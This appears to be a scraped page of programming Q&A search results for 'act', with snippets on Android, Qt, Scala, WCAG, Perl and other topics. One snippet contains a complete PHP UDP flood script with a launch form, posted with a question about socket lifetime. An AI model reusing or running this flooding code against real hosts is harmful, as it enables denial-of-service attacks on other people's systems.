Search Results

Search found 1837 results on 74 pages for 'act'.

Page 22/74 | < Previous Page | 18 19 20 21 22 23 24 25 26 27 28 29  | Next Page >

  • Issue with parsed text with HTMLCleaner - spaces at the begining of text

    - by ansol90
    Im able to get text using HTMLCleaner from website. The problem is that when I set the text to a TextView it shows the beginning of the text with a big space on it. Here is the screenshot of what im talking about. I have tried android:gravity but nothing happened. Please help. Here is my Code: private class SiteParser extends AsyncTask<String, Void, String> { protected String doInBackground(String... arg) { String output = null; try { HtmlHelper hh = new HtmlHelper(new URL(arg[0])); List<TagNode> news = hh.getnewsByClass("TextoPrint"); for (Iterator<TagNode> iterator = newss.iterator(); iterator .hasNext();) { TagNode divElement = (TagNode) iterator.next(); output = divElement.getText().toString(); } } catch (Exception e) { e.printStackTrace(); } return output; } protected void onPostExecute(String output) { Bundle bundle=new Bundle(); bundle.putString("body",output); Intent mainIntent = new Intent(act, MyView.class); mainIntent.putExtras(bundle); startActivity(mainIntent); act.finish(); } } public class HtmlHelper { TagNode rootNode; public HtmlHelper(URL htmlPage) throws IOException, XPatherException { HtmlCleaner cleaner = new HtmlCleaner(); rootNode = cleaner.clean(htmlPage); } List<TagNode> getnewsByClass(String Classname){ List<TagNode> newsList = new ArrayList<TagNode>(); TagNode divElements[] = rootNode.getElementsByName("div", true); for (int i = 0; divElements != null && i < divElements.length; i++) { String classType = divElements[i].getAttributeByName("id"); if (classType != null && classType.equals(Classname)) { newsList.add(divElements[i]); } } return newsList; } }

    Read the article

  • Making a window a desktop in XLib/Qt

    - by TomMan
    I am trying to write a simple program to act as my desktop background in Qt, I have made it all work fine apart from making it a Desktop Widget. I have no idea on how to do this, I don't mind using XLib or Qt for doing this, but if anyone has some suggestions I would be very happy.

    Read the article

  • scala actor message definition

    - by BenZen
    Do i need to define class for message i want to retrieve on a scala actor? i trying to get this up where am i wrong def act() { loop { react { case Meet = foundMeet = true ; goHome case Feromone(qty) if (foundMeet == true) = sender ! Feromone(qty+1); goHome }}}

    Read the article

  • After WCAG 2.0, Should we follow any guideline of WCAG 1.0?

    - by jitendra
    WCAG 2.0 is released should we follow only WCAG 2.0 guideline or we should combination of both no need to consider WCAG 1.0 now? or if I'm considering WCAG guideline then do i need to consider any other guideline along with WCAG like RNIB, DDA, Section 508 etc. or if I'm already considering WCAG guideline then no need to look at other region specific guideline/act etc.

    Read the article

  • scripting fruityloops or propellerheads reason from VB or Python?

    - by interstar
    I have both Fruityloops and Propellerheads Reason software synths on my Windows PC. Any way I can get at and script these from either Visual Basic or Python? Or at least send Midi messages to the synths from code? Update : attempts to use something like a "midi-mapper" (thanks for link MusiGenesis) don't seem to work. I don't think Reason or FL Studio act like standard GM Midi synths. Update 2 : If you're interested in this question, check out this too.

    Read the article

  • chrome & safari css/javascript issue ajax load function

    - by user295292
    Do I load the scripts/css again in other.html when I'm using the .load('other.html') from index.html? index.html = jQuery & cycle plugin, other.html = jQuery & cycle plugin FF & IE load the other.html fine when they're both (script/css) in the index.html. But Chrome & Safari act as if it can't read the script and css.

    Read the article

  • Do sockets opened with fsockopen stay open after you leave the page via your browser?

    - by Rob
    if(isset($_GET['host'])&&is_numeric($_GET['time'])){ $pakits = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); //print "Started: ".time('h:i:s')."<br>"; $max_time = $time+$exec_time; $host = $_GET['host']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $pakits++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n"; echo '<br><br> <form action="'.$surl.'" method=GET> <input type="hidden" name="act" value="phptools"> Host: <input type=text name=host value=localhost> Length (seconds): <input type=text name=time value=9999> <input type=submit value=Go></form>'; }else{ echo '<br><b>UDP Flood</b><br> <form action=? method=GET> <input type="hidden" name="act" value="phptools"> Host: <br><input type=text name=host value=localhost><br> Length (seconds): <br><input type=text name=time value=9999><br> <br> <input type=submit value=Go></form>'; } I've been looking around and asking my friends for awhile now, if I use this script to tell the server to open the sockets using fsockopen, if I leave the webpage will the sockets remain open until the duration is completed?

    Read the article

  • How to change the extension of a processed xml file (using eXist & cocoon)

    - by Carsten C.
    Hi all, I'm really new to this whole web stuff, so please be nice if I missed something important to post. Short: Is there a possibility to change the name of a processed file (eXist-DB) after serialization? Here my case, the following request to my eXist-db: http://localhost:8080/exist/cocoon/db/caos/test.xml and I want after serialization the follwing (xslt is working fine): http://localhost:8080/exist/cocoon/db/caos/test.html I'm using the followong sitemap.xmap with cocoon (hoping this is responsible for it) <map:match pattern="db/caos/**"> <!-- if we have an xpath query --> <map:match pattern="xpath" type="request-parameter"> <map:generate src="xmldb:exist:///db/caos/{../1}/#{1}"/> <map:act type="request"> <map:parameter name="parameters" value="true"/> <map:parameter name="default.howmany" value="1000"/> <map:parameter name="default.start" value="1"/> <map:transform type="filter"> <map:parameter name="element-name" value="result"/> <map:parameter name="count" value="{howmany}"/> <map:parameter name="blocknr" value="{start}"/> </map:transform> <map:transform src=".snip./webapp/stylesheets/db2html.xsl"> <map:parameter name="block" value="{start}"/> <map:parameter name="collection" value="{../../1}"/> </map:transform> </map:act> <map:serialize type="html" encoding="UTF-8"/> </map:match> <!-- if the whole file will be displayed --> <map:generate src="xmldb:exist:/db/caos/{1}"/> <map:transform src="..snip../stylesheets/caos2soac.xsl"> <map:parameter name="collection" value="{1}"/> </map:transform> <map:transform type="encodeURL"/> <map:serialize type="html" encoding="UTF-8"/> </map:match> So my Question is: How do I change the extension of the test.xml to test.html after processing the xml file? Background: I'm generating some information out of some xml-dbs, this infos will be displayed in html (which is working), but i want to change some entrys later, after I generated the html site. To make this confortable, I want to use Jquery & Jeditable, but the code does not work on the xml files. Saving the generated html is not an option. tia for any suggestions [and|or] help CC Edit: After reading all over: could it be, that the extension is irrelevant and that this is only a problem of port 8080? I'm confused...

    Read the article

  • Controlling usb devices from a droid?

    - by user324721
    Anyone know where I can find information on how I can control the USB port on a Droid running Android 2.0? I want to know how to either initialize the USB port or send data across it vi a program. I want to be able to atatch a device to the USB port to act as a switch to control a microservo. So when I said "send data" across the port, I just need to be able to energize the transmit pin on the USB to turn the servo on. Thanks ahead, Tom

    Read the article

  • Tile Collision Question

    - by Alu
    Hey guys, I'm working on tile collision. Currently, I just draw the tile map the normal way (two for loops) and there is no scrolling. Right now, to check if my player is over a tile, I use tileX = (int)person1v.X / 16; tileY = (int)person1v.Y / 16; However, I want to detect collision before I hit the tile so it could act as a wall. How do I detect collision before even making the move?

    Read the article

  • What happens on Activity.finish() with AsyncTask still running in background?

    - by stormin986
    What happens on Activity.finish() with an AsyncTask still running in background? Does it just pop the Activity off the Activity Stack, but wait to destroy the Activity object until the AsyncTask fully completes (since the AsyncTask is an inner class of my Activity)? Also, would it act any differently if the AsyncTask were a public, non-inner class that held no references to the instance of the Activity?

    Read the article

  • Boost::Thread or fork()

    - by osmano807
    I'm testing boost::thread on a system. It happens that I needed to act as a fork(), because one thread modifies the other variables, even member variables of class I do the project using fork() or is there some alternative still using boost::thread Basically I run this program in Linux and maybe FreeBSD

    Read the article

  • Prevent LED/camera Flash requiring APPS from marketplace

    - by premann
    Hi, Is there a particular flag that we can use to prevent apps showing up in marketplace which require the phone to have a Camera Flash /LED. typical apps are ones which make the phone act like a torchlight in dark , i have seen a tag which prevents apps requiring autofocus in a camera from appearing in the marketplace. Just looking to find out if there is something similar for camera flash. Prem

    Read the article

  • Assembly Programming and Interrupt Handling

    - by nmr
    I'm writing a program in assembly using MIPS architecture for a class, and I'm having trouble figuring out how to grab an input character by a user and store it in a register to process. The program would open a console, output a message, the user can then input a character and then this determines what is supposed to happen next in the program. Like I said, I'm having trouble figuring out how to grab the character so that I can act upon it in the program. thanks

    Read the article

  • Can I pull the next element from within a Perl foreach loop?

    - by Thilo
    Can I do something like the following in Perl? foreach (@tokens) { if (/foo/){ # simple case, I can act on the current token alone # do something next; } if (/bar/) { # now I need the next token, too # I want to read/consume it, advancing the iterator, so that # the next loop iteration will not also see it my $nextToken = ..... # do something next; } }

    Read the article

  • Corporate developers: Do you feel your code is adding value to the company?

    - by Pierreten
    I'm going through a phase where I'm not being productive at all. I find it hard to justify to myself getting paid six figures to sit in front of my computer and act busy. Management is completely disengaged, and the users as well. What do you do in this type of situation? I've taken to learning some deeper aspects of .Net and software construction in general, but don't like the feeling that I'm stiffing my employer.

    Read the article

  • Implementing a logging library in .NET with a database as the storage medium

    - by Dave
    I'm just starting to work on a logging library that everyone can use to keep track of any sort of system information while the user is running our application. The simplest example so far is to track Info, Warnings, and Errors. I want all plugins to be able to use this feature, but since each developer might have a different idea of what's important to report, I want to keep this as generic as possible. In the C++ world, I would normally use something like a stl::pair<string,string> to act as a key value pair structure, and have a stl::list of these to act as a "row" in the log. The log cache would then be a list<list<pair<string,string>>> (ugh!). This way, the developers can use a const string key like INFO, WARNING, ERROR to have a consistent naming for a column in the database (for SELECTing specific types of information). I'd like the database to be able to deal with any number of distinct column names. For example, John might have an INFO row with a column called USER, and Bill might have an INFO row with a column called FILENAME. I want the log viewer to be able to display all information, and if one report doesn't have a value for INFO / FILENAME, those fields should just appear blank. So one option is to use List<List<KeyValuePair<String,String>>, and the another is to have the log library consumer somehow "register" its schema, and then have the database do an ALTER TABLE to handle this situation. Yet another idea is to have a table that's just for key value pairs, with a foreign key that maps the key value pairs back to the original log entry. I obviously don't want logging to bog down the system, so I only lock the log cache to make a copy of the data (and remove the already-copied data), then a background thread will dump the information to the database. My specific questions regarding this are: Do you see any performance issues? In other words, have you ever tried something like this and found that certain things just don't work well in practice? Is there a more .NETish way to implement the key value pairs, other than List<List<KeyValuePair<String,String>>>? Even if there is a way to do #2 better, is the ALTER TABLE idea I proposed above a Bad Thing? Would you recommend multiple databases over a single one? I don't yet have an idea of how frequently the log would get written to, but we ideally would like to have lots of low level information. Perhaps there should be a DB with a fixed schema only for the low level stuff, and then another DB that's more flexible for reporting information back to users.

    Read the article

  • JavaScript Object literal notation confusion

    - by Ding
    In Firefox console, this code will generate error: {"d" : ["bankaccountnumber", "$1234.56"] } SyntaxError: invalid label { message="invalid label", more...} this code works just fine {d : ["bankaccountnumber", "$1234.56"] } ["bankaccountnumber", "$1234.56"] this code works fine as well var act = {'d' : ["bankaccountnumber", "$1234.56"] } a.d Can someone help to explain why is the diference? thanks!

    Read the article

< Previous Page | 18 19 20 21 22 23 24 25 26 27 28 29  | Next Page >